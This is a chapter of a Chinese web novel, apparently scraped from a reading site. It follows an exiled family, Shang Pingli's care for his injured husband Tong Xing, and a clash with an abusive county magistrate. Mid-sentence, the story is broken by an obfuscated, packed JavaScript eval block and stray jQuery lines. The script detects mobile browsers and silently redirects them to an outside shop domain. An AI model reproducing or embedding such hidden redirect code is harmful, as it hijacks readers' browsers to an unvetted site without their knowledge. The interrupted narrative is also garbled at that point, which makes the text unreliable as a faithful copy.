仝行醒了!
尚平栎赶紧按住他,省得他猛然做起来又伤到脚,“你先别动,你的脚崴了。”
疼感遍布全身,让仝行根本没办法不动,他身体忍不住轻颤。
看他额头冒冷汗,尚平栎这才想起来,刚刚就应该喂他吃点止疼的东西。
这个估计主要是因为脚和腰,胳膊接上后只要好好恢复后续就不会有后遗症。
“娘,我好疼。”仝行看着旁边的翟文韫说道。
自八岁他父亲死后,家中两位兄长相继去了战场,他就把自己当做家中顶梁柱,说话做事像个小大人一样,如此说话也只在这次磕了头后了。
有时候,翟文韫觉得他这样也挺好,省得清醒的时候看到家中的变故,他会痛苦万分的。
“等到了城里,娘带你去看病。”翟文韫安慰地抚摸了他的胳膊,“你抬抬这个手臂看看能不能抬起来。”
仝行听话地抬了抬,发现没有什么问题。
翟文韫向那官差道谢,官差没有说什么便又去了那两名衙役身边,替他们处理伤口。
这会正直中午,但因下雨他们没办法生火,只能吃县衙衙役发的饼,就着已经放凉的的水对付了一顿。
雨渐渐停了下来,那两名衙役也醒了,他们最终决定休整半日,等明天再继续赶路。
这次他们也没丢失什么东西,板车的车轮不知滚到了哪去,板车是不能再拉了,后续赶路东西他们要全背在身上了。
车上原本的东西找回的七七八八,就是他们的碗都碎了,后面吃饭只能用那些还算完整的瓦片吃了。
这场雨把山上的木柴全淋湿了,晚上他们费了好大的劲才生起火,晚上尚平栎没睡沉,醒来就往火堆里添柴,直到早上那堆活也没灭,他还趁着煮了粥。
“喝的时候小心些,别让破口处割了嘴。”给三个小孩盛粥时尚平栎不忘嘱咐。
三人异口同声:“知道了,多谢叔母。”
尚平栎趁人不注意,给仝行倒了点消炎药在粥里面,以防万一。
衙役那边没有生火,他们吃的是上次去城里补给的肉干,煮粥时尚平栎特意多煮一个人的,给那个替仝行接手臂的人送了过去。
他提着那个煮粥的锅到那人面前,说:“官差大哥,我婆母说谢谢你救了我家相公,要分你些粥吃。”
过到山这边后,气温就直线下降,不吃点热乎饭浑身都是冷的,那衙役没有拒绝,拿出了自己的碗递给他,道了句:“多谢。”
尚平栎没给他多盛,只盛了一勺,“也要谢谢官差大哥,给我家相公正骨。”说完他便回到了仝家那边。
衙役看他离开,目光便落到手中的粥上,粥中切的还有肉丁,米香混着着肉香,让他口中分泌出了唾液。
押送犯人的路实在太多不确定性了,他本不想来的。
奈何本该押送他的官差生了病,他也想让家中老母、妻子不再给别人绣花补贴家用,家中孩子也到了该启蒙的年纪,这一百两白银是他不吃不喝五年才能攒到的钱,最终他还是过来了。
眼看就要到流放地了,回去时没有犯人跟着,他们走起来就能快上些了,离开好几个月,家中孩子肯定长高了不少了。
那衙役越想心中越高兴,不知不觉那粥都喝完了......还想再来一碗。
所有人吃完饭便启程了,一行人的速度慢了很多。
尚平栎给仝行当拐棍,他们两人的行李翟文韫几人分了都背上了,就是那车没法拉走了。
一行人跌跌撞撞终于在规定时间内到了流放地的县衙报道。
一路上尚平栎非常小心照顾仝行,加上他偷偷给仝行涂药,到了地方时仝行的脚已经好得差不多了,那两名衙役就没那么幸运了,他们身上有骨折,到了地方就被送到了医馆。
流放在信早就传到了平丘县,县令算着时间等了几日,守城的人传消息过来后,他赶快去安排人去接这些衙役了。
仝家人先被关了起来。
两个被抬走的衙役中,有一个给县令递了一封信,信上的内容他不知道是什么,只知道原本县令要让他们立即去劳役,却话峰一转让把他们先收押了。
到了牢房尚平栎先把仝行扶到床上,开始思考以后的事情。
一路上他也了解了他们流放的形式,男人要去做劳役,女人和小孩不用,这里的劳役主要是修筑城墙。
这里是崇宁国的最北边,连接北边的游牧民族扎泽,他们不时就会潜到崇宁国中烧杀轻掠。
他们要去的流放地是平丘县最靠近扎泽的一个村庄,也是最容易受骚扰的一个村庄,村里的人死了一波又迁进去一波,为的就是让扎泽有得抢,不让扎泽继续往城中抢。
一路上他都没时间想这些东西,现在停下来想想,实在令人头疼。
他们说是去修筑城墙其实跟送死无疑,扎泽肯定不会让他们修完,不时地就会派人去暗杀修城墙的人,却不说是不是扎泽的人杀了他们,就连这崇宁国也有很多人想让仝行死。
到时候死在城墙边上,是哪个国家的人杀的还不是他们一句话的事。
。
看尚平栎一直不说话,仝行又实在尿急,出声叫他:“娘子,你想什么呢?”
尚平栎回神,问:“没什么,怎么了?”
“我想去厕所。”仝行说。
自从仝行崴了脚后,都要尚平栎在旁边当着扶手,他把仝行看得清清楚楚,刚开始仝行还有些不好意思,后面简直把他当成了拐棍。
“走。”说着他去搀扶仝行。其实仝行的脚已经好的差不多,只是尚平栎想着能让他少活动还是少活动为好。
狱卒领着两人去了厕所,尚平栎趁机又兑换了些药给仝行涂上。
仝行蹲下非常不方便,上药这活尚平栎就给他上了。
尚平栎单膝跪地,蹲到仝行面前,他让仝行先扶着门,自己蹲下身,将他受伤那只脚小心翼翼地放到自己的腿上。
他先把仝行受伤那只脚的袜子脱了,接着把裤子裹到他的小腿,露出了全部肿起的部位,能看出已经消肿许多了,尚平栎把药轻轻涂到他的脚上,还给他轻轻揉搓了一番。
原本因为长期没穿鞋冰凉的脚,涂上药后被尚平栎这么一按摩也不凉了,反而开始燥热起来,这燥热传遍仝行的全身,直接爬到了脸上。
滚下来的时候,两人的脸部和脖颈也有受伤了,这会儿刚好上些药,“伺候人”伺候习惯了,尚平栎很自然地用棉签给仝行上药。
尚平栎目测,仝行比他高的有将近20厘米,给仝行涂额头上的伤时都需要抬头了。
仝行也注意到了这一点,赶紧弯腰下去,让尚平栎涂的轻易些。
脖子、耳后,面颊的伤也都一一涂了,棉签的触感让仝行浑身,特别是心里都酥酥麻麻的,尚平栎认真给他涂药,生怕弄疼他了,根本没注意到他面部的红晕。
给仝行涂完后,尚平栎把面前递给了他,让他帮自己涂,有的地方他没办法精准涂上。
接过棉签和药,仝行学着刚刚他的样子给尚平栎涂,药膏涂到了他的面部、后颈、耳后......
两人互相涂了药,还没踏入牢房,系统的声音突然响起,【宿主,来活了,让你狠抽县令一耳光。】
尚平栎:......这是什么地方来着?
“这任务
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614165|206033||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
我不做。”这里做不等于找死吗?强龙还不压地头蛇呢,何况他们现在连蛇都不如,就是写毫无威胁的蚯蚓。
【不行啊!宿主!】系统先喊不行,再想说辞:【你的积分快不够了,你也看到了,这里才九月份就那么冷了,你要是没积分,这冬天怕是难挨。】
“不做。”尚平栎有些犹豫但还是拒绝了。
其实尚平栎的积分即使不做这个任务也够用,系统也不劝了,尚平栎和仝行继续跟着狱卒往前走。
走到门口就听到了里面女子、小孩哭喊的声音。
两人顿感不妙,仝行也不让尚平栎搀着了,加快脚步一马当先地冲出去,尚平栎紧随其后。
二人两步并一步,迅速走到牢房门口,发现那做县令打扮的人正在他们那个牢房,两个小孩跪在其面前瑟瑟发抖,他们外衣被脱掉,只剩里衣。
“哪来的钱买这些厚衣裳?本官看就是拿的脏款!”县令还在质问两人。
尚平栎和仝行看到这一幕,火气一下就冲了上来了。
仝行冲在最前面一胳膊把县令推开,在县令和周围狱卒还没反应过来的情况下,尚平栎又给了县令一巴掌。
这一巴掌尚平栎是带着气的,使了很大的力,把原本就在踉跄的县令直接扇翻了。
狱卒们已经抽刀的抽刀,扶县令的扶县令了。
尚平栎装作若无其事的样子,不管他们抽刀去扶两个小孩。
那些狱卒想要去拿人了,县令一抬手,冷冷地看着两人,对身边的狱卒说:“且慢。”
忠信王祖上是和皇家打过江山的,仝家这么多年也一直受尽帝王爱戴,如今失了势就是真的失势吗?
如今边境连年战乱,朝中又无多少可用之才,忠信王家难保不会再被启用,如今若是做的太过分了到时候报复是难免的。
他思考间,尚平栎和仝行已经将二人护在了身后,刚刚屋里的动静让隔壁牢房里的其余人很是担心,全都侧耳倾听这边的情况。
县令眼睛滴溜溜地转,思考着该怎么惩罚他们,既不失了面子,又无伤大雅,“大胆!竟然敢伤害朝廷命官,本官罚你们服徭役时间再加一月。”
多一个月尚平栎觉得挺不痛不痒的,没所谓。
他抬头看向县令,发现他原本就因肥胖看不到眼的脸一边又肿的老高,尚平栎觉得还挺有喜感,他赶紧低下头隐藏住自己上扬的嘴角。
察觉到尚平栎在笑,仝行又侧了侧身多挡一些他,让其余人看不到他的表情。
县令和仝行对视,仝行看到他的脸也有些憋不住,但还是努力做出严肃的表情,这在县令眼里看来有几分“他日我东山再起,你给我等着!”的意味。
这么一品县令还有些慌了,通敌卖国的罪名都没有满门抄斩,他肯定是要小心伺候着,想着他又说:“罢了,是本官没站稳。”
狱卒收了手中的剑站到县令身旁,只听县令又说:“你们可休息好了?若是没有可以在这里休息几日后去服役。”
???
他的话让在场的仝家人懵了,尚平栎不明白县令这是唱哪一出啊?
县令问出这句话,尚平栎觉得他脑子不正常,就开口说:“县令大人,我们休息好了,明日便可启程。”
他俩去服役辛苦些,但仝家其余人可以出这牢房自由活动,总比一直待在这冰冷刺骨的牢房要好得多。
“准了,”县令转身又对其他狱卒说:“你们给他们准备些棉衣棉被,明日一同给他们送到分配的家中去。”
“是。”
光脚的不怕穿鞋的,仝家人现在根本不怕县令再使什么招数了,谢谢都没说,各自找了个地方休息了。